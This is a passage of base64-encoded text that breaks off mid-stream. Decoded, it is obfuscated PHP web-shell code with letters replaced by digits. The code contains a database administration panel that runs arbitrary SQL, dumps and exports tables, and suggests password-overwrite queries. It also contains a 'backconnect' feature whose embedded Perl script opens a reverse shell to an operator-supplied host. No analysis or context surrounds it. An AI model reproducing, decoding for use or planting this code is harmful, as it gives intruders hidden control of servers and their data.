01Jyk7DQoJfQ0KCWYycm1mMjJ0KCk7DQoNCg0KCWYycm1oNTFkKDFycjF5KCduMW01Jz0+J3M1dHQxYmw1JykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdzcWwxZG00bicpOw0KCXAoJGRiZjJybSk7DQoJbTFrNWg0ZDUoJ3QxYmw1bjFtNScpOw0KCW0xazVoNGQ1KCdwMWc1JywkcDFnNSk7DQoJbTFrNWg0ZDUoJ2QyNG5nJyk7DQoJZjJybWYyMnQoKTsNCg0KCSRjMWNoNXQxYmw1cyA9IDFycjF5KCk7DQoJJHAxZzVuM20gPSBvMDsNCgkkcDFnNSA9IDRudHYxbCgkcDFnNSk7DQoJNGYoJHAxZzUpIHsNCgkJJHN0MXJ0X2w0bTR0ID0gKCRwMWc1IC0gNikgKiAkcDFnNW4zbTsNCgl9IDVsczUgew0KCQkkc3QxcnRfbDRtNHQgPSAwOw0KCQkkcDFnNSA9IDY7DQoJfQ0KCTRmICg0c3M1dCgkZGJoMnN0KSAmJiA0c3M1dCgkZGIzczVyKSAmJiA0c3M1dCgkZGJwMXNzKSAmJiA0c3M1dCgkYzJubjVjdCkpIHsNCgkJZGJjMm5uKCRkYmgyc3QsICRkYjNzNXIsICRkYnAxc3MsICRkYm4xbTUsICRjaDFyczV0LCAkZGJwMnJ0KTsNCgkJLy8gZzV0IG15c3FsIHM1cnY1cg0KCQkkbXlzcWx2NXIgPSBteXNxbF9nNXRfczVydjVyXzRuZjIoKTsNCgkJcCgnPHA+TXlTUUwgJy4kbXlzcWx2NXIuJyByM25uNG5nIDRuICcuJGRiaDJzdC4nIDFzICcuJGRiM3M1ci4nQCcuJGRiaDJzdC4nPC9wPicpOw0KCQkkaDRnaHY1ciA9ICRteXNxbHY1ciA+ICd1LjYnID8gNiA6IDA7DQoNCgkJLy8gU2gydyBkMXQxYjFzNQ0KCQkkcTM1cnkgPSBxKCJTSE9XIERBVEFCQVNFUyIpOw0KCQkkZGJzID0gMXJyMXkoKTsNCgkJJGRic1tdID0gJy0tIFM1bDVjdCAxIGQxdDFiMXM1IC0tJzsNCgkJd2g0bDUoJGRiID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHEzNXJ5KSkgew0KCQkJJGRic1skZGJbJ0QxdDFiMXM1J11dID0gJGRiWydEMXQxYjFzNSddOw0KCQl9DQoJCW0xazVzNWw1Y3QoMXJyMXkoJ3Q0dGw1Jz0+J1BsNTFzNSBzNWw1Y3QgMSBkMXQxYjFzNTonLCduMW01Jz0+J2RiW10nLCcycHQ0Mm4nPT4kZGJzLCdzNWw1Y3Q1ZCc9PiRkYm4xbTUsJzJuY2gxbmc1Jz0+J20yZGRibjFtNSh0aDRzLjJwdDQybnNbdGg0cy5zNWw1Y3Q1ZEluZDV4XS52MWwzNSknLCduNXdsNG41Jz0+NikpOw0KCQkkdDFibDVkYiA9IDFycjF5KCk7DQoJCTRmICgkZGJuMW01KSB7DQoJCQlwKCc8cD4nKTsNCgkJCXAoJ0MzcnI1bnQgZDFiMWIxczU6IDwxIGhyNWY9ImoxdjFzY3I0cHQ6bTJkZGJuMW01KFwnJy4kZGJuMW01LidcJyk7Ij4nLiRkYm4xbTUuJzwvMT4nKTsNCgkJCTRmICgkdDFibDVuMW01KSB7DQoJCQkJcCgnIHwgQzNycjVudCBUMWJsNTogPDEgaHI1Zj0iajF2MXNjcjRwdDpzNXR0MWJsNShcJycuJHQxYmw1bjFtNS4nXCcpOyI+Jy4kdDFibDVuMW01Lic8LzE+IFsgPDEgaHI1Zj0iajF2MXNjcjRwdDpzNXR0MWJsNShcJycuJHQxYmw1bjFtNS4nXCcsIFwnNG5zNXJ0XCcpOyI+SW5zNXJ0PC8xPiB8IDwxIGhyNWY9ImoxdjFzY3I0cHQ6czV0dDFibDUoXCcnLiR0MWJsNW4xbTUuJ1wnLCBcJ3N0cjNjdDNyNVwnKTsiPlN0cjNjdDNyNTwvMT4gfCA8MSBocjVmPSJqMXYxc2NyNHB0OnM1dHQxYmw1KFwnJy4kdDFibDVuMW01LidcJywgXCdkcjJwXCcpOyI+RHIycDwvMT4gXScpOw0KCQkJfQ0KCQkJcCgnPC9wPicpOw0KCQkJbXlzcWxfczVsNWN0X2RiKCRkYm4xbTUpOw0KDQoJCQkkZzV0bjNtc3FsID0gJyc7DQoJCQkkcjNucTM1cnkgPSAwOw0KCQkJNGYgKCRzcWxfcTM1cnkpIHsNCgkJCQkkcjNucTM1cnkgPSA2Ow0KCQkJfQ0KCQkJJDFsbDJ3NWQ0dCA9IDA7DQoJCQk0ZiAoJHQxYmw1bjFtNSAmJiAhJHNxbF9xMzVyeSkgew0KCQkJCSRzcWxfcTM1cnkgPSAiU0VMRUNUICogRlJPTSAkdDFibDVuMW01IjsNCgkJCQkkZzV0bjNtc3FsID0gJHNxbF9xMzVyeTsNCgkJCQkkc3FsX3EzNXJ5ID0gJHNxbF9xMzVyeS4iIExJTUlUICRzdDFydF9sNG00dCwgJHAxZzVuM20iOw0KCQkJCSQxbGwydzVkNHQgPSA2Ow0KCQkJfQ0KCQkJcCgnPGYycm0gMWN0NDJuPSInLiRzNWxmLiciIG01dGgyZD0iUE9TVCI+Jyk7DQoJCQlwKCc8cD48dDFibDUgdzRkdGg9ImEwMCIgYjJyZDVyPSIwIiBjNWxscDFkZDRuZz0iMCIgYzVsbHNwMWM0bmc9IjAiPjx0cj48dGQgYzJsc3Axbj0iYSI+UjNuIFNRTCBxMzVyeS9xMzVyNDVzIDJuIGQxdDFiMXM1IDxmMm50IGMybDJyPXI1ZD48Yj4nLiRkYm4xbTUuJzwvZjJudD48L2I+OjxCUj5FeDFtcGw1IFZCQiBQMXNzdzJyZDogPGYybnQgYzJsMnI9cjVkPnZiMXQ1MW08L2YybnQ+PEJSPjxmMm50IGMybDJyPXk1bGwydz5VUERBVEUgYDNzNXJgIFNFVCBgcDFzc3cycmRgID0gXCdlOTVpbzVpMWI5aW9lNWlpZG82ZmZpb28xNWZjdWZiNVwnLCBzMWx0ID0gXCdwaVRcJyBXSEVSRSBgM3M1cjRkYCA9IFwnNlwnIDwvZjJudD4NCg0KCQkJPC90ZD48L3RyPjx0cj48dGQ+PHQ1eHQxcjUxIG4xbTU9InNxbF9xMzVyeSIgY2wxc3M9IjFyNTEiIHN0eWw1PSJ3NGR0aDplMDBweDtoNTRnaHQ6aTBweDsydjVyZmwydzoxM3QyOyI+Jy5odG1sc3A1YzQxbGNoMXJzKCRzcWxfcTM1cnksRU5UX1FVT1RFUykuJzwvdDV4dDFyNTE+PC90ZD48dGQgc3R5bDU9InAxZGQ0bmc6MCBpcHg7Ij48NG5wM3QgY2wxc3M9ImJ0IiBzdHlsNT0iaDU0Z2h0OmkwcHg7IiBuMW01PSJzM2JtNHQiIHR5cDU9InMzYm00dCIgdjFsMzU9IlEzNXJ5IiAvPjwvdGQ+PC90cj48L3QxYmw1PjwvcD4nKTsNCgkJCW0xazVoNGQ1KCd0MWJsNW4xbTUnLCAkdDFibDVuMW01KTsNCgkJCW0xazVoNGQ1KCcxY3Q0Mm4nLCdzcWwxZG00bicpOw0KCQkJcCgkZGJmMnJtKTsNCgkJCXAoJzwvZjJybT4nKTsNCgkJCTRmICgkdDFibDVuMW01IHx8ICgkcjNucTM1cnkgJiYgJHNxbF9xMzVyeSkpIHsNCgkJCQk0ZiAoJGQyNG5nID09ICdzdHIzY3QzcjUnKSB7DQoJCQkJCSRyNXMzbHQgPSBxKCJTSE9XIENPTFVNTlMgRlJPTSAkdDFibDVuMW01Iik7DQoJCQkJCSRyMndkYiA9IDFycjF5KCk7DQoJCQkJCXdoNGw1KCRyMncgPSBteXNxbF9mNXRjaF8xcnIxeSgkcjVzM2x0KSkgew0KCQkJCQkJJHIyd2RiW10gPSAkcjJ3Ow0KCQkJCQl9DQoJCQkJCXAoJzx0MWJsNSBiMnJkNXI9IjAiIGM1bGxwMWRkNG5nPSJvIiBjNWxsc3AxYzRuZz0iMCI+Jyk7DQoJCQkJCXAoJzx0ciBjbDFzcz0iaDUxZCI+Jyk7DQoJCQkJCXAoJzx0ZD5GNDVsZDwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5UeXA1PC90ZD4nKTsNCgkJCQkJcCgnPHRkPk4zbGw8L3RkPicpOw0KCQkJCQlwKCc8dGQ+SzV5PC90ZD4nKTsNCgkJCQkJcCgnPHRkPkQ1ZjEzbHQ8L3RkPicpOw0KCQkJCQlwKCc8dGQ+RXh0cjE8L3RkPicpOw0KCQkJCQlwKCc8L3RyPicpOw0KCQkJCQlmMnI1MWNoICgkcjJ3ZGIgMXMgJHIydykgew0KCQkJCQkJJHRoNHNiZyA9IGJnKCk7DQoJCQkJCQlwKCc8dHIgY2wxc3M9ImYyM3QiIDJubTIzczUydjVyPSJ0aDRzLmNsMXNzTjFtNT1cJ2YyYzNzXCc7IiAybm0yM3M1MjN0PSJ0aDRzLmNsMXNzTjFtNT1cJ2YyM3RcJzsiPicpOw0KCQkJCQkJcCgnPHRkPicuJHIyd1snRjQ1bGQnXS4nPC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyMndbJ1R5cDUnXS4nPC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyMndbJ04zbGwnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyMndbJ0s1eSddLicmbmJzcDs8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHIyd1snRDVmMTNsdCddLicmbmJzcDs8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHIyd1snRXh0cjEnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCX0NCgkJCQkJdGJmMjJ0KCk7DQoJCQkJfSA1bHM1NGYgKCRkMjRuZyA9PSAnNG5zNXJ0JyB8fCAkZDI0bmcgPT0gJzVkNHQnKSB7DQoJCQkJCSRyNXMzbHQgPSBxKCdTSE9XIENPTFVNTlMgRlJPTSAnLiR0MWJsNW4xbTUpOw0KCQkJCQl3aDRsNSAoJHIydyA9IG15c3FsX2Y1dGNoXzFycjF5KCRyNXMzbHQpKSB7DQoJCQkJCQkkcjJ3ZGJbXSA9ICRyMnc7DQoJCQkJCX0NCgkJCQkJJHJzID0gMXJyMXkoKTsNCgkJCQkJNGYgKCRkMjRuZyA9PSAnNG5zNXJ0Jykgew0KCQkJCQkJcCgnPGhhPkluczVydCBuNXcgbDRuNSA0biAnLiR0MWJsNW4xbTUuJyB0MWJsNSAmcjFxMzI7PC9oYT4nKTsNCgkJCQkJfSA1bHM1IHsNCgkJCQkJCXAoJzxoYT5VcGQxdDUgcjVjMnJkIDRuICcuJHQxYmw1bjFtNS4nIHQxYmw1ICZyMXEzMjs8L2hhPicpOw0KCQkJCQkJJHdoNXI1ID0gYjFzNWV1X2Q1YzJkNSgkYjFzNWV1KTsNCgkJCQkJCSRyNXMzbHQgPSBxKCJTRUxFQ1QgKiBGUk9NICR0MWJsNW4xbTUgV0hFUkUgJHdoNXI1IExJTUlUIDYiKTsNCgkJCQkJCSRycyA9IG15c3FsX2Y1dGNoXzFycjF5KCRyNXMzbHQpOw0KCQkJCQl9DQoJCQkJCXAoJzxmMnJtIG01dGgyZD0icDJzdCIgMWN0NDJuPSInLiRzNWxmLiciPicpOw0KCQkJCQlwKCRkYmYycm0pOw0KCQkJCQltMWs1aDRkNSgnMWN0NDJuJywnc3FsMWRtNG4nKTsNCgkJCQkJbTFrNWg0ZDUoJ3QxYmw1bjFtNScsJHQxYmw1bjFtNSk7DQoJCQkJCXAoJzx0MWJsNSBiMnJkNXI9IjAiIGM1bGxwMWRkNG5nPSJvIiBjNWxsc3AxYzRuZz0iMCI+Jyk7DQoJCQkJCWYycjUxY2ggKCRyMndkYiAxcyAkcjJ3KSB7DQoJCQkJCQk0ZiAoJHJzWyRyMndbJ0Y0NWxkJ11dKSB7DQoJCQkJCQkJJHYxbDM1ID0gaHRtbHNwNWM0MWxjaDFycygkcnNbJHIyd1snRjQ1bGQnXV0pOw0KCQkJCQkJfSA1bHM1IHsNCgkJCQkJCQkkdjFsMzUgPSAnJzsNCgkJCQkJCX0NCgkJCQkJCSR0aDRzYmcgPSBiZygpOw0KCQkJCQkJcCgnPHRyIGNsMXNzPSJmMjN0IiAybm0yM3M1MnY1cj0idGg0cy5jbDFzc04xbTU9XCdmMmMzc1wnOyIgMm5tMjNzNTIzdD0idGg0cy5jbDFzc04xbTU9XCdmMjN0XCc7Ij4nKTsNCgkJCQkJCXAoJzx0ZD48Yj4nLiRyMndbJ0Y0NWxkJ10uJzwvYj48YnIgLz4nLiRyMndbJ1R5cDUnXS4nPC90ZD48dGQ+PHQ1eHQxcjUxIGNsMXNzPSIxcjUxIiBuMW01PSI0bnM1cnRzcWxbJy4kcjJ3WydGNDVsZCddLiddIiBzdHlsNT0idzRkdGg6aTAwcHg7aDU0Z2h0OmUwcHg7MnY1cmZsMnc6MTN0MjsiPicuJHYxbDM1Lic8L3Q1eHQxcjUxPjwvdGQ+PC90cj4nKTsNCgkJCQkJfQ0KCQkJCQk0ZiAoJGQyNG5nID09ICc0bnM1cnQnKSB7DQoJCQkJCQlwKCc8dHIgY2wxc3M9ImYyM3QiPjx0ZCBjMmxzcDFuPSJhIj48NG5wM3QgY2wxc3M9ImJ0IiB0eXA1PSJzM2JtNHQiIG4xbTU9IjRuczVydCIgdjFsMzU9IkluczVydCIgLz48L3RkPjwvdHI+Jyk7DQoJCQkJCX0gNWxzNSB7DQoJCQkJCQlwKCc8dHIgY2wxc3M9ImYyM3QiPjx0ZCBjMmxzcDFuPSJhIj48NG5wM3QgY2wxc3M9ImJ0IiB0eXA1PSJzM2JtNHQiIG4xbTU9IjNwZDF0NSIgdjFsMzU9IlVwZDF0NSIgLz48L3RkPjwvdHI+Jyk7DQoJCQkJCQltMWs1aDRkNSgnYjFzNWV1JywgJGIxczVldSk7DQoJCQkJCX0NCgkJCQkJcCgnPC90MWJsNT48L2Yycm0+Jyk7DQoJCQkJfSA1bHM1IHsNCgkJCQkJJHEzNXJ5cyA9IEA1eHBsMmQ1KCc7Jywkc3FsX3EzNXJ5KTsNCgkJCQkJZjJyNTFjaCgkcTM1cnlzIDFzICRuM209PiRxMzVyeSkgew0KCQkJCQkJNGYgKCRxMzVyeSkgew0KCQkJCQkJCXAoIjxwPjxiPlEzNXJ5I3skbjNtfSA6ICIuaHRtbHNwNWM0MWxjaDFycygkcTM1cnksRU5UX1FVT1RFUykuIjwvYj48L3A+Iik7DQoJCQkJCQkJc3c0dGNoKHF5KCRxMzVyeSkpDQoJCQkJCQkJew0KCQkJCQkJCQljMXM1IDA6DQoJCQkJCQkJCQlwKCc8aGE+RXJyMnIgOiAnLm15c3FsXzVycjJyKCkuJzwvaGE+Jyk7DQoJCQkJCQkJCQlicjUxazsNCgkJCQkJCQkJYzFzNSA2Og0KCQkJCQkJCQkJNGYgKHN0cnQybDJ3NXIoczNic3RyKCRxMzVyeSwwLDZvKSkgPT0gJ3M1bDVjdCAqIGZyMm0nKSB7DQoJCQkJCQkJCQkJJDFsbDJ3NWQ0dCA9IDY7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQk0ZiAoJGc1dG4zbXNxbCkgew0KCQkJCQkJCQkJCSR0MXQybCA9IG15c3FsX24zbV9yMndzKHEoJGc1dG4zbXNxbCkpOw0KCQkJCQkJCQkJCSRtM2x0NHAxZzUgPSBtM2x0NCgkdDF0MmwsICRwMWc1bjNtLCAkcDFnNSwgJHQxYmw1bjFtNSk7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQk0ZiAoISR0MWJsNW4xbTUpIHsNCgkJCQkJCQkJCQkkc3FsX2w0bjUgPSBzdHJfcjVwbDFjNSgxcnIxeSgiXHIiLCAiXG4iLCAiXHQiKSwgMXJyMXkoJyAnLCAnICcsICcgJyksIHRyNG0oaHRtbHNwNWM0MWxjaDFycygkcTM1cnkpKSk7DQoJCQkJCQkJCQkJJHNxbF9sNG41ID0gcHI1Z19yNXBsMWM1KCIvXC9cKlteKFwqXC8pXSpcKlwvLzQiLCAiICIsICRzcWxfbDRuNSk7DQoJCQkJCQkJCQkJcHI1Z19tMXRjaF8xbGwoIi9mcjJtXHMrYHswLDZ9KFtcd10rKWB7MCw2fVxzKy80Iiwkc3FsX2w0bjUsJG0xdGNoNXMpOw0KCQkJCQkJCQkJCSR0MWJsNW4xbTUgPSAkbTF0Y2g1c1s2XVswXTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCSRyNXMzbHQgPSBxKCRxMzVyeSk7DQoJCQkJCQkJCQlwKCRtM2x0NHAxZzUpOw0KCQkJCQkJCQkJcCgnPHQxYmw1IGIycmQ1cj0iMCIgYzVsbHAxZGQ0bmc9Im8iIGM1bGxzcDFjNG5nPSIwIj4nKTsNCgkJCQkJCQkJCXAoJzx0ciBjbDFzcz0iaDUxZCI+Jyk7DQoJCQkJCQkJCQk0ZiAoJDFsbDJ3NWQ0dCkgcCgnPHRkPkFjdDQybjwvdGQ+Jyk7DQoJCQkJCQkJCQkkZjQ1bGRuM20gPSBAbXlzcWxfbjNtX2Y0NWxkcygkcjVzM2x0KTsNCgkJCQkJCQkJCWYycigkND0wOyQ0PCRmNDVsZG4zbTskNCsrKXsNCgkJCQkJCQkJCQkkbjFtNSA9IEBteXNxbF9mNDVsZF9uMW01KCRyNXMzbHQsICQ0KTsNCgkJCQkJCQkJCQkkdHlwNSA9IEBteXNxbF9mNDVsZF90eXA1KCRyNXMzbHQsICQ0KTsNCgkJCQkJCQkJCQkkbDVuID0gQG15c3FsX2Y0NWxkX2w1bigkcjVzM2x0LCAkNCk7DQoJCQkJCQkJCQkJcCgiPHRkIG4yd3IxcD4kbjFtNTxicj48c3Axbj4kdHlwNSgkbDVuKTwvc3Axbj48L3RkPiIpOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJcCgnPC90cj4nKTsNCgkJCQkJCQkJCXdoNGw1KCRtbiA9IEBteXNxbF9mNXRjaF8xc3MyYygkcjVzM2x0KSl7DQoJCQkJCQkJCQkJJHRoNHNiZyA9IGJnKCk7DQoJCQkJCQkJCQkJcCgnPHRyIGNsMXNzPSJmMjN0IiAybm0yM3M1MnY1cj0idGg0cy5jbDFzc04xbTU9XCdmMmMzc1wnOyIgMm5tMjNzNTIzdD0idGg0cy5jbDFzc04xbTU9XCdmMjN0XCc7Ij4nKTsNCgkJCQkJCQkJCQkkd2g1cjUgPSAkdG1wID0gJGI2ID0gJyc7DQoJCQkJCQkJCQkJZjJyNTFjaCgkbW4gMXMgJGs1eT0+JDRuczRkNSl7DQoJCQkJCQkJCQkJCTRmICgkNG5zNGQ1KSB7DQoJCQkJCQkJCQkJCQkkd2g1cjUgLj0gJHRtcC4kazV5LiI9JyIuMWRkc2wxc2g1cygkNG5zNGQ1KS4iJyI7DQoJCQkJCQkJCQkJCQkkdG1wID0gJyBBTkQgJzsNCgkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCQkkYjYgLj0gJzx0ZCBuMndyMXA+Jy5odG1sX2NsNTFuKCQ0bnM0ZDUpLicmbmJzcDs8L3RkPic7DQoJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCSR3aDVyNSA9IGIxczVldV81bmMyZDUoJHdoNXI1KTsNCgkJCQkJCQkJCQk0ZiAoJDFsbDJ3NWQ0dCkgcCgnPHRkIG4yd3IxcD48MSBocjVmPSJqMXYxc2NyNHB0OjVkNHRyNWMycmQoXCc1ZDR0XCcsIFwnJy4kd2g1cjUuJ1wnLCBcJycuJHQxYmw1bjFtNS4nXCcpOyI+UyYjNzk2NzsxIEY0bDU8LzE+IHwgPDEgaHI1Zj0iajF2MXNjcjRwdDo1ZDR0cjVjMnJkKFwnZDVsXCcsIFwnJy4kd2g1cjUuJ1wnLCBcJycuJHQxYmw1bjFtNS4nXCcpOyI+RDVsPC8xPjwvdGQ+Jyk7DQoJCQkJCQkJCQkJcCgkYjYpOw0KCQkJCQkJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCQkJCQkJM25zNXQoJGI2KTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCXRiZjIydCgpOw0KCQkJCQkJCQkJcCgkbTNsdDRwMWc1KTsNCgkJCQkJCQkJCWJyNTFrOw0KCQkJCQkJCQljMXM1IGE6DQoJCQkJCQkJCQkkMXIgPSBteXNxbF8xZmY1Y3Q1ZF9yMndzKCk7DQoJCQkJCQkJCQlwKCc8aGE+MWZmNWN0NWQgcjJ3cyA6IDxiPicuJDFyLic8L2I+PC9oYT4nKTsNCgkJCQkJCQkJCWJyNTFrOw0KCQkJCQkJCX0NCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCX0gNWxzNSB7DQoJCQkJJHEzNXJ5ID0gcSgiU0hPVyBUQUJMRSBTVEFUVVMiKTsNCgkJCQkkdDFibDVfbjNtID0gJHQxYmw1X3Iyd3MgPSAkZDF0MV9zNHo1ID0gMDsNCgkJCQkkdDFibDVkYiA9IDFycjF5KCk7DQoJCQkJd2g0bDUoJHQxYmw1ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHEzNXJ5KSkgew0KCQkJCQkkZDF0MV9zNHo1ID0gJGQxdDFfczR6NSArICR0MWJsNVsnRDF0MV9sNW5ndGgnXTsNCgkJCQkJJHQxYmw1X3Iyd3MgPSAkdDFibDVfcjJ3cyArICR0MWJsNVsnUjJ3cyddOw0KCQkJCQkkdDFibDVbJ0QxdDFfbDVuZ3RoJ10gPSBzNHo1YzIzbnQoJHQxYmw1WydEMXQxX2w1bmd0aCddKTsNCgkJCQkJJHQxYmw1X24zbSsrOw0KCQkJCQkkdDFibDVkYltdID0gJHQxYmw1Ow0KCQkJCX0NCgkJCQkkZDF0MV9zNHo1ID0gczR6NWMyM250KCRkMXQxX3M0ejUpOw0KCQkJCTNuczV0KCR0MWJsNSk7DQoJCQkJcCgnPHQxYmw1IGIycmQ1cj0iMCIgYzVsbHAxZGQ0bmc9IjAiIGM1bGxzcDFjNG5nPSIwIj4nKTsNCgkJCQlwKCc8ZjJybSAxY3Q0Mm49IicuJHM1bGYuJyIgbTV0aDJkPSJQT1NUIj4nKTsNCgkJCQltMWs1aDRkNSgnMWN0NDJuJywnc3FsMWRtNG4nKTsNCgkJCQlwKCRkYmYycm0pOw0KCQkJCXAoJzx0ciBjbDFzcz0iaDUxZCI+Jyk7DQoJCQkJcCgnPHRkIHc0ZHRoPSJhJSIgMWw0Z249ImM1bnQ1ciI+PDRucDN0IG4xbTU9ImNoazFsbCIgdjFsMzU9IjJuIiB0eXA1PSJjaDVja2IyeCIgMm5jbDRjaz0iQ2g1Y2tBbGwodGg0cy5mMnJtKSIgLz48L3RkPicpOw0KCQkJCXAoJzx0ZD5OMW01PC90ZD4nKTsNCgkJCQlwKCc8dGQ+UjJ3czwvdGQ+Jyk7DQoJCQkJcCgnPHRkPkQxdDFfbDVuZ3RoPC90ZD4nKTsNCgkJCQlwKCc8dGQ+Q3I1MXQ1X3Q0bTU8L3RkPicpOw0KCQkJCXAoJzx0ZD5VcGQxdDVfdDRtNTwvdGQ+Jyk7DQoJCQkJNGYgKCRoNGdodjVyKSB7DQoJCQkJCXAoJzx0ZD5Fbmc0bjU8L3RkPicpOw0KCQkJCQlwKCc8dGQ+QzJsbDF0NDJuPC90ZD4nKTsNCgkJCQl9DQoJCQkJcCgnPC90cj4nKTsNCgkJCQlmMnI1MWNoICgkdDFibDVkYiAxcyAkazV5ID0+ICR0MWJsNSkgew0KCQkJCQkkdGg0c2JnID0gYmcoKTsNCgkJCQkJcCgnPHRyIGNsMXNzPSJmMjN0IiAybm0yM3M1MnY1cj0idGg0cy5jbDFzc04xbTU9XCdmMmMzc1wnOyIgMm5tMjNzNTIzdD0idGg0cy5jbDFzc04xbTU9XCdmMjN0XCc7Ij4nKTsNCgkJCQkJcCgnPHRkIDFsNGduPSJjNW50NXIiIHc0ZHRoPSJhJSI+PDRucDN0IHR5cDU9ImNoNWNrYjJ4IiBuMW01PSJ0MWJsNVtdIiB2MWwzNT0iJy4kdDFibDVbJ04xbTUnXS4nIiAvPjwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD48MSBocjVmPSJqMXYxc2NyNHB0OnM1dHQxYmw1KFwnJy4kdDFibDVbJ04xbTUnXS4nXCcpOyI+Jy4kdDFibDVbJ04xbTUnXS4nPC8xPiBbIDwxIGhyNWY9ImoxdjFzY3I0cHQ6czV0dDFibDUoXCcnLiR0MWJsNVsnTjFtNSddLidcJywgXCc0bnM1cnRcJyk7Ij5JbnM1cnQ8LzE+IHwgPDEgaHI1Zj0iajF2MXNjcjRwdDpzNXR0MWJsNShcJycuJHQxYmw1WydOMW01J10uJ1wnLCBcJ3N0cjNjdDNyNVwnKTsiPlN0cjNjdDNyNTwvMT4gfCA8MSBocjVmPSJqMXYxc2NyNHB0OnM1dHQxYmw1KFwnJy4kdDFibDVbJ04xbTUnXS4nXCcsIFwnZHIycFwnKTsiPkRyMnA8LzE+IF08L3RkPicpOw0KCQkJCQlwKCc8dGQ+Jy4kdDFibDVbJ1Iyd3MnXS4nPC90ZD4nKTsNCgkJCQkJcCgnPHRkPicuJHQxYmw1WydEMXQxX2w1bmd0aCddLic8L3RkPicpOw0KCQkJCQlwKCc8dGQ+Jy4kdDFibDVbJ0NyNTF0NV90NG01J10uJzwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD4nLiR0MWJsNVsnVXBkMXQ1X3Q0bTUnXS4nPC90ZD4nKTsNCgkJCQkJNGYgKCRoNGdodjVyKSB7DQoJCQkJCQlwKCc8dGQ+Jy4kdDFibDVbJ0VuZzRuNSddLic8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHQxYmw1WydDMmxsMXQ0Mm4nXS4nPC90ZD4nKTsNCgkJCQkJfQ0KCQkJCQlwKCc8L3RyPicpOw0KCQkJCX0NCgkJCQlwKCc8dHIgY2wxc3M9ZjIzdD4nKTsNCgkJCQlwKCc8dGQ+Jm5ic3A7PC90ZD4nKTsNCgkJCQlwKCc8dGQ+VDJ0MWwgdDFibDVzOiAnLiR0MWJsNV9uM20uJzwvdGQ+Jyk7DQoJCQkJcCgnPHRkPicuJHQxYmw1X3Iyd3MuJzwvdGQ+Jyk7DQoJCQkJcCgnPHRkPicuJGQxdDFfczR6NS4nPC90ZD4nKTsNCgkJCQlwKCc8dGQgYzJsc3Axbj0iJy4oJGg0Z2h2NXIgPyB1IDogYSkuJyI+Jm5ic3A7PC90ZD4nKTsNCgkJCQlwKCc8L3RyPicpOw0KDQoJCQkJcCgiPHRyIGNsMXNzPVwiZjIzdFwiPjx0ZCBjMmxzcDFuPVwiIi4oJGg0Z2h2NXIgPyA4IDogZSkuIlwiPjw0bnAzdCBuMW01PVwiczF2NTFzZjRsNVwiIHYxbDM1PVwiNlwiIHR5cDU9XCJjaDVja2IyeFwiIC8+IFMxdjUgMXMgZjRsNSA8NG5wM3QgY2wxc3M9XCI0bnAzdFwiIG4xbTU9XCJwMXRoXCIgdjFsMzU9XCIiLlNBX1JPT1QuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiJfTXlTUUwuc3FsXCIgdHlwNT1cInQ1eHRcIiBzNHo1PVwiZTBcIiAvPiA8NG5wM3QgY2wxc3M9XCJidFwiIHR5cDU9XCJzM2JtNHRcIiBuMW01PVwiZDJ3bnIxclwiIHYxbDM1PVwiRXhwMnJ0IHM1bDVjdDQybiB0MWJsNVwiIC8+PC90ZD48L3RyPiIpOw0KCQkJCW0xazVoNGQ1KCdkMjRuZycsJ2IxY2szcG15c3FsJyk7DQoJCQkJZjJybWYyMnQoKTsNCgkJCQlwKCI8L3QxYmw1PiIpOw0KCQkJCWZyKCRxMzVyeSk7DQoJCQl9DQoJCX0NCgl9DQoJdGJmMjJ0KCk7DQoJQG15c3FsX2NsMnM1KCk7DQp9Ly81bmQgc3FsIGIxY2szcA0KDQoNCjVsczU0ZiAoJDFjdDQybiA9PSAnYjFja2Mybm41Y3QnKSB7DQoJISR5MjNyNHAgJiYgJHkyM3I0cCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KCSEkeTIzcnAycnQgJiYgJHkyM3JwMnJ0ID0gJzZhb3VpJzsNCgkkM3M1ZGIgPSAxcnIxeSgncDVybCc9PidwNXJsJywnYyc9PidjJyk7DQoNCgkkYjFja19jMm5uNWN0PSJJeUV2ZFhOeUxhSnBiNDl3WlhKc0RRcDZjYVVnVWE5ajFhVjBPdzBLSkdOdFpEMGdJbXhpYm5nNE93MEtKSE5pY29SbGJUMGdKYVZqMUc4Z0ltQjZibUZ0WlNBdFlXQTRPYVZqIi4NCgkJIjFHOGdJbUJwWkdBNE95OTQxV3V2Y2Fnbk93MEtKREE5SkdOdFpEc05DNFIwWVhKblpYUTlKRUZTUjZaYk1GMDdEUTJrY0c5eWREMGtRVkpIVmxzeFhUc05DNFJwWVdSa2NqNnBibVYwWGFGMGJhdTJKSFIiLg0KCQkiaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqMmdKQ0ZjYjRJcE93MEtKSEJoWkdSeVBYTnZZYXRoWkdSeVhhbDNLQ1J3Ym9KMExDQWsxV0ZrWkhJcElIeDhJR1JwWlNnNFJYSnlib0llSUNRaFhHdTRLVCIuDQoJCSJzTkM0UndjbTkwYno2blpYUndjbTkwYmFKaWJtRnRaU2duZEdOd0p5azdEUXB6YmFOclpYUTJVMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDZOVVVrVkJUU3dnSkhCeWJvUnZLU0I4ZkNCazFXVTJJIi4NCgkJImtWeWNtOXlPNEFrSVZ4M0k